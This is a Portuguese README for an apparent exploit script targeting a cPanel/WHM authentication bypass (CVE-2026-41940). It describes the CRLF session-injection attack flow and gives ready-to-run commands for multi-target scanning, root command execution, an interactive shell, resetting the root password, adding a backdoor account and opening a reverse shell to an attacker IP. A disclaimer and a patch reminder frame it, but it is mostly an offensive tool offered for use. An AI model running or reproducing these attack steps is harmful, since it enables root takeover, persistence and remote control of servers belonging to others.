CVE-2026-41940: Bypass de Autenticação do cPanel/WHM (Alvo Único e Multi-Alvo)
Aviso legal: Este documento e o script associado (exploit.py) são fornecidos estritamente para fins educacionais, pesquisa de segurança e testes de penetração autorizados. Não use este software contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
Visão Geral
exploit.py é um script que demonstra uma vulnerabilidade de bypass de autenticação (CVE-2026-41940) no cPanel & WHM. A vulnerabilidade permite que um atacante não autenticado injete uma sessão root no cache do daemon por meio de uma falha de injeção CRLF, concedendo, em última análise, acesso WHM de nível root sem exigir credenciais válidas.
Análise da Vulnerabilidade e Fluxo do Exploit
O exploit funciona aproveitando uma vulnerabilidade de injeção CRLF (Carriage Return Line Feed) no mecanismo de tratamento da Autenticação Básica, combinada com uma falha de propagação de sessão. O script automatiza o ataque em quatro estágios:
- Criação de Sessão Pré-Autenticação: Conecta-se a endpoints públicos de login (ex.:
/login/ ou /cgi/login.cgi) para obter um cookie de sessão não autenticado de base (whostmgrsession).
- Injeção CRLF: Envia um cabeçalho de Autenticação Básica malicioso contendo um payload codificado em Base64 que injeta campos de sessão root diretamente no cache de sessão do
cpsrvd. A resposta de redirecionamento do servidor vaza o token de segurança gerado (cpsess).
- Propagação de Sessão: O cookie de sessão bruto é enviado para um endpoint WHM autenticado, acionando
do_token_denied para propagar a sessão forjada no cache do daemon — tornando-a uma sessão autenticada válida.
- Verificação: Acessa endpoints restritos da API WHM (ex.:
/json-api/version) usando a sessão forjada para confirmar o acesso de nível root.
Pré-requisitos
- Python 3.x
- biblioteca
requests
Uso
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
Argumentos
Seleção de Alvo
| Argumento | Descrição |
|---|
--target URL | URL WHM única (ex.: https://target:2087) |
--target-file FILE | Arquivo com alvos (um ip:port por linha) — ativa automaticamente o modo de verificação |
Opções de Rede e Núcleo
Opções de Exploração (Pós-Bypass)
Opções de Saída
| Argumento | Descrição |
|---|
--output FILE | Salva o token de sessão e os detalhes em um arquivo JSON |
Exemplos
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Comandos do Shell Interativo
Ao usar --shell, os seguintes comandos estão disponíveis:
Lembrete
Atualize imediatamente os patches de segurança mais recentes do cPanel/WHM.